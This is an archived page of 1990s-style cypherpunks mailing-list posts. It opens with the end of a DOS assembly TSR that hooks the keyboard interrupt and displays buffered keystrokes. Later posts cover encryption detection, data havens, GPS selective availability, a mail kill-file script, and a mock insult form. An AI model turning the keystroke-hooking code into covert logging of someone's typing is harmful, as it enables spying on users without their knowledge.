mov cx,dx ;restore cx loop dline mov dh, 3h ;row mov dl, 0 mov bh, 0 ;page mov ah, 2 ;service int 10h ;set cursor position mov bh, 0 ;page mov cx, 1 ;count mov al,LCT ;horizontal line mov ah,0ah ;service int 10h ;put char mov dh, 3h ;row mov dl, 4fh ;column mov bh, 0 ;page mov ah, 2 ;service int 10h ;set cursor position mov bh, 0 ;page mov cx, 1 ;count mov al,RCT ;horizontal line mov ah,0ah ;service int 10h ;put char mov cx, BUFFER_SIZE/2 -1 ;going backwards... mov ind, cx mov cl, 13h dorows: mov row, cl mov cx, 4eh ll0: mov cnt, cx mov dl, cl ;to end of line ;inc dl ;cnt was 1 too small mov dh,row inc dh inc dh inc dh mov ah,2 ;set cursor position mov bh,0 ;page 0 int 10h ;move to 0,0 mov bx,show_buff ;show_buff points to correct half... add bx,ind ;ind must have index, *(show_buff + ind) mov al,[bx] mov bh,0 mov cx,1 mov ah,0ah int 10h dec ind ;decrement index mov cx,cnt loop ll0 mov cl,row dec cl jnz dorows mov dh,1 mov dl,1 mov bx,offset sl1 call print_string mov dh,2 mov dl,1 mov bx,offset sl2 call print_string mov dh,18h mov dl,4 mov bh,0 mov ah,2 int 10h ;move back to correct position ret dump_buffer ENDP print_string PROC NEAR ;assumes ds==cs ;null terminated string, address in bx... ;row in dh ;col in dl ;uses bios int 10h, safe for tsr programs... jmp over_local_ps sadd dw ? over_local_ps: mov sadd,bx np: mov bh,0 mov ah,2 int 10h mov bx,sadd mov al,[bx] cmp al,0 ;is it 0? je pse ;yes, return inc bx mov sadd,bx inc dl mov bh,0 mov cx,1 mov ah,0ah int 10h jmp np ;next print (next character) pse: ret ;done, encountered 0 print_string ENDP ; Anything before this point stays in memory if it's okay to install... ; tests to see if kbs is already installed, returns ; zf=1 if it was already installed. ; zf=0 if it has not been previously installed. kbia PROC NEAR ;assumes ds points to code segment... MOV AH, 35H ;put old vector into es:bx MOV AL,KB_INT_NUM INT 21H mov si,offset idstring ;ds:si points to our string mov di,bx sub di, 12h ;es:di points to other string? mov cx,12h REPE cmpsb ret kbia endp INSTALL_INTERRUPTS_MAIN PROC NEAR ASSUME DS:CODE_SEG mov bx,cs mov ds,bx xor bx,bx mov head,bx mov tail,bx jmp over_temp_data instg db "Kbs installed.",0dh,0ah,"$" notinstg db "Kbs already installed.",0dh,0ah,"$" over_temp_data: call kbia je dont_install_it jmp install_it dont_install_it: mov dx,offset notinstg mov ah,09h int 21h mov bx,cs mov es,bx int 20h install_it: MOV AH, 35H ;put old vector into es:bx MOV AL,KB_INT_NUM INT 21H MOV OLD_KB_INTERRUPT,BX MOV OLD_KB_INTERRUPT[2],ES MOV AH,25H ;set new keyboard interrupt LEA DX,KBINTERRUPT INT 21H mov dx,offset instg mov ah,09h int 21h ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA MOV DS,BX mov cx,KB_TAIL ASSUME DS:CODE_SEG MOV BX,CS MOV DS,BX mov lkb_tail,cx MOV DX, offset kbia ;ds:dx end of stay resident INT 27H ;allocate and stay resident INSTALL_INTERRUPTS_MAIN ENDP CODE_SEG ENDS END FIRST ; P.S. I haven't programmed in asm in a long time, no fair flaming ;me for poor programming style/ineffecient code. ; Use this code at your own rish.

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RE: How do I know if its encrypted?
by m00012＠KANGA.STCLOUD.MSUS.EDU 17 Dec '03

17 Dec '03

Check the entropy?

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Re: How do I know if its encrypted? (fwd)
by Censored Girls Anonymous 17 Dec '03

17 Dec '03

T.C. May, so eloquently waxed: The squeals of the net.cops were impressive to behold! Demands to Netcom that I be expelled from the Net, that the "Child Welfare Agents" would soon be breaking down my doors, etc. Nobody spotted the message. After several days, I "let the truth be told," which of course enraged others. I thought this digression might be amusing to some. --Tim May Did they write the standard "ticket"? form319.2(1/95) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * * * * N O T I C E O F N E T I Q U E T T E B R E A C H * * * * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ NOTICE: IT HAS COME TO OUR ATTENTION THAT YOU HAVE POSTED SOMETHING THAT HAS BEEN CONSIDERED WORSE THAN: ___ a Rush Limbaugh quote. ___ a Newt Gingrich joke. ___ a reference to Beavis & Butthead. _X_ lame ASCII graphic(s) (Choose all that apply): ___ USS Enterprise _X_ Australia ___ The Amiga logo ___ Company logo (Mark only if above also) ___ and you stated that you don't speak for your employer. ___ Bicycle ___ Bart Simpson Furthermore: _x_ You have greatly misunderstood the purpose of ___the.news.group___ (newsgroup) _x_ You have greatly misunderstood the purpose of the net. _x_ You are a loser. ___ You must have spent your entire life in a skinner box to be this clueless. _x_ *plonk* _x_ This has been pointed out to you before. (see prior form) _x_ It is recommended that you: (Mark all that apply) _x_ stick to FidoNet and come back when you've grown up. _x_ find a volcano and throw yourself in. ___ get a gun and shoot yourself. _x_ stop reading Usenet news and get a life. ___ stop sending email and get a life. ___ consume excrement. ___ consume excrement and thus expire. Additional comments: My apologies to all responsible users who have had to view this horrible, lousy, lame, excuse for writing. I certainly hope this person gets their butt thrown in jail, but I'll settle for having their net access permanently revoked. ' . . . and thus ex Registered<BETSI>BEllcore Trusted Software Integrity system programmer *********************************************************************** Carol Anne Braddock "Give me your Tired, your Poor, your old PC's..." The TS NET REVOKED PGP KEY NO.0C91594D carolb(a)spring.com carolann(a)mm.com ************************************************************************ COMING SOON TO EVERY INTERNET NEWSGROUP NEAR YOU! . . . . . CENSORED.COM .......................................................................... Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)netcom.com | anonymous networks, digital pseudonyms, zero | knowledge, reputations, information markets, W.A.S.T.E.: Aptos, CA | black markets, collapse of governments. Higher Power: 2^859433 | Public Key: PGP and MailSafe available. Cypherpunks list: majordomo(a)toad.com with body message of only: subscribe cypherpunks. FAQ available at ftp.netcom.com in pub/tc/tcmay

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Data Havens..A consumer perspective
by Censored Girls Anonymous 17 Dec '03

17 Dec '03

1. You have what I want or need. 2. In order for me to let you store it, I will give it to you anyway you wish to get it. 3. I will let you do anything to the data you wish, so long as I get it back intact. 4. It is no concern (only idle curiosity maybe) where the data is parked. 5. I would expect to pay money for the safekeeping of my data. 6. I would expect the longer you hold the data, the more it will cost. 7. The only thing I am counting on is the data's timely retrieval. 8. Welcome to the world of data "coatchecking". Why make it more complex than this? >From the moment the data leaves their hands, until I return it, they have no right, nor I no obligation, to divulge anything about it. For they already would know, it would take a few minutes to retrieve it. For whether it's encrypted to the nth degree, or parked in a plain brown wrapper in a massive unix box somewhere, as long as I the haven manager, return the data in a safe, timely, uncorrupted manner, I've done my duty. Love Always, Carol Anne Registered<BETSI>BEllcore Trusted Software Integrity system programmer *********************************************************************** Carol Anne Braddock "Give me your Tired, your Poor, your old PC's..." The TS NET REVOKED PGP KEY NO.0C91594D carolb(a)spring.com carolann(a)mm.com ************************************************************************ COMING SOON TO AN INTERNET NEWSGROUP NEAR YOU...............CENSORED.COM

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Re: Storm Signals
by rparratt＠london.micrognosis.com 17 Dec '03

17 Dec '03

> > If I were the DOD, I would set the standard GPS default to selective > availability. After all, with SA on military receivers can still get > fine positioning data. If someone could come up with a good reason to > turn SA off, great, but I wouldn't leave it on otherwise. > > The scenarios concerning GPS-piloted Cessnas full of nasty stuff come > to mind, especially vis-a-vis the North Koreans. They probably don't > have accurate IRBMs but they certainly could cobble together a > Learjet-based delivery system. SA is effectively cancelled out by using differential GPS (Using a correction transmitter to send out differences between GPS as-reported position and actual position). However, any 'home made cruise missile' would need to be fairly slow moving and manoevring. One of the features of p-Code is support for 'high-dynamic' vehicles. I've been away from the navigation field for some years, so others may know more. Does the Russian Glonass system have SA? -- Richard Parratt

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Re: CBS/C.Chung Plan Hit Job on Internet? (fwd)
by Brad Parsons 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Wed, 11 Jan 1995 07:32:03 -0800 (PST) From: Skip Leuschner <skipl(a)pacifier.com> Subject: Re: CBS/C.Chung Plan Hit Job on Internet? I see C.Chung's program as one of the first vollies in a new phase of a TV/print media project. Internet and talk radio emerged as political forces in the '94 election. If political influence by the media is a zero-sum game, as I believe it is, then the TV and print media must look to their own survival by trying to discredit or regulate their talk radio/internet competition. Regards, Skip.

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mail killfiling
by Craig A. Johnston 17 Dec '03

17 Dec '03

There was some talk on the list earlier about reading the list through news so as to be able to use kill files. Here is an alternate way for folks that have 'deliver' installed on their system as the local mail agent. (do a "grep Mlocal /etc/sendmail.cf" to see...if you don't see 'deliver' in there somewhere, you don't. This is provided you are using sendmail, of course.) First, install the following as ".deliver" in your home dir: --- cut here --- #!/bin/sh # delivers all mail except that from folks in $NOMAIL NOMAIL=.nomail FROM=`header -f From $HEADER` if grep "$FROM" $NOMAIL >/dev/null 2>/dev/null then # we don't want any mail from this person! exit fi echo "$1" # otherwise, deliver as usual --- cut here --- Now, you also need this little script that I call "killem" installed in your home dir. --- cut here --- #!/bin/sh NOMAIL=.nomail header -f From >> $NOMAIL --- cut here --- Now, let's say you are in your mailbox and you see such a horrible piece of mail from someone that you never want to see any mail from them again. ;) Provided you are using 'elm', (probably is a mechanism for this on other readers.) just pipe the message through 'killem' with a "|" from elm and answer "killem" when asked what you want to pipe the message through. The From: line will be stripped and stuck in .nomail (or whatever you change it to) and you won't see any more mail from this person. Of course, this is not entirely true: mail that does not get delivered will go to a file called Undel.mail in your home dir, which you can keep, or have a cron job deal with, or whatever you like. Also, if they change their 'real name' on their system, you'll start to get mail from them again. (i.e. w/'chfn' or the like.) This is just a quick hack I whipped up a moment ago, and could of course be improved/changed. 'deliver' will also run perl scripts, and it should be relatively easy to write something that way that will handle wildcarding and field selection. An automated mailing to folks upon their 'termination' could be added for those that want to rub it in, or an automated bounce that sends mail right back with a note that their mail is not being received. If you want to block mail based just upon the account name and not have to worry about them changing their "real" name, you can just add the account name to .nomail manually. Judicious use of the unix 'cut' command could have 'killem' just toss the account name into .nomail for mail coming from unixy systems, but would fail for others, so I decided to not assume anything about the From: line. Ought to work fine and transparently for most folks as-is. Ingenious folks can build on it. I dunno how many systems use 'deliver', but it's sort of a Linux (slackware) default, and those using it can avoid learning procmail with this script. Enjoy, Craig.

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Cryptanalysis
by Brendan McKenna 17 Dec '03

17 Dec '03

Hi, I light of recent threads about recognising whether or not a given message/file is encrypted, and using CBW and things along those lines, is there any way to determine how something was encrypted? For example, I know that a statistical analysis of the cyphertext will uncover simple substitution cyphers fairly quickly. Does the same sort of analysis apply to determining whether something was encrypted using IDEA or DES or RSA? I realize that they attempt to maximize the entropy of the cyphertext -- perhaps there is some characteristic amount or range of amounts of entropy associated with these cyphers? Not every package is as nice as PGP in labeling everything it encrypts with headers... Any pointers would be greatly appreciated.... Brendan PS. What I'd like to be able to do is take a given chunk of cyphertext and analyze it and say: "There is an x% probability that this was encrypted using method y...." Hopefully I'd have a reasonable chance of recognizing how it was encrypted, and not all of the percentages would be so low as to make the exercise meaningless.

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